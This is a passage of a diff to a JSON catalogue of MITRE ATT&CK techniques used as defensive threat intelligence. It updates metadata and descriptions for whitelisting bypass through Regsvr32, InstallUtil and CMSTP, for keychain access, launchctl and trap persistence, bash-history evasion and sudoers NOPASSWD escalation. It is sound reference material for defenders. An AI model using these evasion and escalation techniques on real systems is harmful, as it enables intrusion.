Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1117", + "https://attack.mitre.org/techniques/T1117", "https://support.microsoft.com/en-us/kb/249873", - "https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html", - "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html" - ], - "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html", + "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/" + ] }, - "value": "Regsvr32" + "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "value": "Regsvr32 - T1117" }, { - "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python [[Citation: Macro Malware Targets Macs]]. Scripts can be run from the command lie via osascript /path/to/script or osascript -e \"script here\".\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: MacOS, OS X\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters", + "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)", "meta": { + "external_id": "T1118", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], "mitre_data_sources": [ - "API monitoring", - "System calls", - "Process Monitoring", + "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "MacOS", - "OS X" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1155", - "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/" - ], - "uuid": "5c4c4c35-d77a-4f2d-88b6-7da63e1f0f06" + "https://attack.mitre.org/techniques/T1118", + "https://msdn.microsoft.com/en-us/library/50614e95.aspx" + ] }, - "value": "AppleScript" + "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b", + "value": "InstallUtil - T1118" }, { - "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR).[[Citation: MTrends 2016]]\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.[[Citation: Lau 2011]]\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: API monitoring, MBR, VBR", + "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "meta": { + "external_id": "T1191", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], "mitre_data_sources": [ - "API monitoring", - "MBR", - "VBR" + "Process monitoring", + "Process command-line parameters", + "Process use of network", + "Windows event logs" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1067", - "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf", - "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion" - ], - "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d" + "https://attack.mitre.org/techniques/T1191", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)", + "https://twitter.com/ItsReallyNick/status/958789644165894146", + "https://msitpros.com/?p=3960", + "https://twitter.com/NickTyrer/status/958450014111633408", + "https://github.com/api0cradle/UltimateAppLockerByPassList", + "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/" + ] }, - "value": "Bootkit" + "uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3", + "value": "CMSTP - T1191" }, { - "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable", + "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.", "meta": { + "external_id": "T1142", + "kill_chain": [ + "mitre-attack:credential-access" + ], "mitre_data_sources": [ - "Process Monitoring", + "System calls", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1142", + "https://en.wikipedia.org/wiki/Keychain_(software)", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + ] + }, + "uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "value": "Keychain - T1142" + }, + { + "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", + "meta": { + "external_id": "T1152", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1152", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ] + }, + "uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "value": "Launchctl - T1152" + }, + { + "description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.", + "meta": { + "external_id": "T1153", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1153" + ] + }, + "uuid": "45d84c8b-c1e2-474d-a14d-69b5de0a2bc0", + "value": "Source - T1153" + }, + { + "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.", + "meta": { + "external_id": "T1154", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1154" + ] + }, + "uuid": "b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", + "value": "Trap - T1154" + }, + { + "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", + "meta": { + "external_id": "T1148", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", "Authentication logs", "File monitoring", "Environment variable" ], "mitre_platforms": [ "Linux", - "MacOS", - "OS X" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1148" - ], - "uuid": "b2a23bbd-1a12-4e1e-a985-b0cad55a5c91" + "https://attack.mitre.org/techniques/T1148" + ] }, - "value": "HISTCONTROL" + "uuid": "086952c4-5b90-4185-b573-02bad8e11953", + "value": "HISTCONTROL - T1148" }, { - "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware.Rootkit functionality to hide its existence from the guest operating system.[[Citation: Myers 2007]] A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present.[[Citation: virtualization.info 2006]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: System calls", - "meta": { - "mitre_data_sources": [ - "System calls" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1062", - "https://en.wikipedia.org/wiki/Hypervisor", - "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf", - "http://en.wikipedia.org/wiki/Xen", - "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html" - ], - "uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63" - }, - "value": "Hypervisor" - }, - { - "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.[[Citation: MSDN InstallUtil]] InstallUtil is located in the .NET directory on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe.InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nContributors: Casey Smith", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1118", - "https://msdn.microsoft.com/en-us/library/50614e95.aspx", - "https://github.com/subTee/AllTheThings" - ], - "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b" - }, - "value": "InstallUtil" - }, - { - "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/.[[Citation: Wikipedia keychain]] The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault.[[Citation: External to DA, the OS X Way]] By default, the passphrase for the keychain is the user’s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: MacOS, OS X\n\nData Sources: System calls, Process Monitoring", + "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via osascript /path/to/script or osascript -e \"script here\".", "meta": { + "external_id": "T1155", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:lateral-movement" + ], "mitre_data_sources": [ + "API monitoring", "System calls", - "Process Monitoring" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1142", - "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", - "https://en.wikipedia.org/wiki/Keychain%20(software)" - ], - "uuid": "38cfae40-42c8-431e-8cb7-0f14b2ce0e86" - }, - "value": "Keychain" - }, - { - "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made [[Citation: Sofacy Komplex Trojan]]. Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1152", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" - ], - "uuid": "bff9f35b-6231-450f-b657-4745870a9462" - }, - "value": "Launchctl" - }, - { - "description": "Masquerading occurs when an executable, legitimate or malicious, is placed in a commonly trusted location (such as C:\\Windows\\System32) or named with a common name (such as \"explorer.exe\" or \"svchost.exe\") to bypass tools that trust executables by relying on file name or path. An adversary may even use a renamed copy of a legitimate utility, such as rundll32.exe.[[Citation: Endgame Masquerade Ball]] Masquerading also may be done to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity.[[Citation: Endgame Masquerade Ball]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nContributors: ENDGAME", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1036", - "https://www.endgame.com/blog/how-hunt-masquerade-ball" - ], - "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0" - }, - "value": "Masquerading" - }, - { - "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.[[Citation: TechNet PowerShell]] Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire,[[Citation: Github PowerShell Empire]] PowerSploit,[[Citation: Powersploit]] and PSAttack.[[Citation: Github PSAttack]]\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution.[[Citation: Malware Archaeology PowerShell Cheat Sheet]] PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.[[Citation: FireEye PowerShell Logging 2016]] An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1086", - "https://github.com/PowerShellEmpire/Empire", - "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", - "https://github.com/mattifestation/PowerSploit", - "https://github.com/jaredhaight/PSAttack", - "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", - "https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html" - ], - "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + "https://attack.mitre.org/techniques/T1155", + "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/" + ] }, - "value": "PowerShell" + "uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b", + "value": "AppleScript - T1155" }, { - "description": "Rootkits are programs that hide the existence of malware by intercepting and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware.[[Citation: Wikipedia Rootkit]]\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components.\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.[[Citation: Wikipedia Rootkit]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: BIOS, MBR, System calls", + "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.", "meta": { - "mitre_data_sources": [ - "BIOS", - "MBR", - "System calls" + "external_id": "T1169", + "kill_chain": [ + "mitre-attack:privilege-escalation" ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1014", - "https://en.wikipedia.org/wiki/Rootkit" - ], - "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" - }, - "value": "Rootkit" - }, - { - "description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Process Monitoring", - "File monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1153" - ], - "uuid": "d1be72cb-6893-4ca4-82d2-0c58f7dafde4" - }, - "value": "Source" - }, - { - "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit[[Citation: Metasploit]], Veil[[Citation: Veil]], and PowerSploit[[Citation: Powersploit]] are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell.[[Citation: Alperovitch 2014]]\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [[Discovery]], [[Collection]], or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "File monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1064", - "http://www.metasploit.com", - "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", - "https://www.veil-framework.com/framework/", - "https://github.com/mattifestation/PowerSploit" - ], - "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44" - }, - "value": "Scripting" - }, - { - "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL[[Citation: OSX.Dok Malware]]. \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: root", - "meta": { "mitre_data_sources": [ "File monitoring" ], "mitre_platforms": [ "Linux", - "MacOS", - "OS X" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1169", + "https://attack.mitre.org/techniques/T1169", "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" - ], - "uuid": "809ff990-982f-4997-8570-a6f516e8fede" + ] }, - "value": "Sudo" + "uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72", + "value": "Sudo - T1169" }, { - "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a 